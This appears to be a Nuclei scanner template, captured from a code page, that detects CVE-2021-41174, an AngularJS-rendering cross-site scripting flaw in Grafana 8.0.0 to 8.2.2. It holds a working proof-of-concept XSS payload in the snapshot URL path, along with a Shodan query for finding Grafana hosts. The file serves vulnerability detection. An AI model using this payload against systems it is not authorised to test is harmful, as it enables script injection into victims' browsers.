60 lines
2.3 KiB
YAML
60 lines
2.3 KiB
YAML
id: CVE-2021-41174
|
|
|
|
info:
|
|
name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
|
|
author: pdteam
|
|
severity: medium
|
|
description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
|
|
remediation: Upgrade to 8.2.3 or higher.
|
|
reference:
|
|
- https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-41174
|
|
- https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
|
|
- https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
|
|
- https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-41174
|
|
cwe-id: CWE-79
|
|
epss-score: 0.96462
|
|
epss-percentile: 0.99434
|
|
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: grafana
|
|
product: grafana
|
|
shodan-query: title:"Grafana"
|
|
tags: cve,cve2021,grafana,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"
|
|
|
|
skip-variables-check: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Grafana"
|
|
- "frontend_boot_js_done_time_seconds"
|
|
condition: and
|
|
|
|
- type: regex
|
|
regex:
|
|
- '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
- '"subTitle":"Grafana ([a-z0-9.]+)'
|
|
|
|
# digest: 4a0a00473045022100c765c48643d61bc133942b9f6a1138ba339a0b2435061b86f52a13a622ad35db0220451949d3663632548a0cdeb56b228af470a58699f4646bda83aa34c8db6b2aac:922c64590222798bb761d5b6d8e72950
|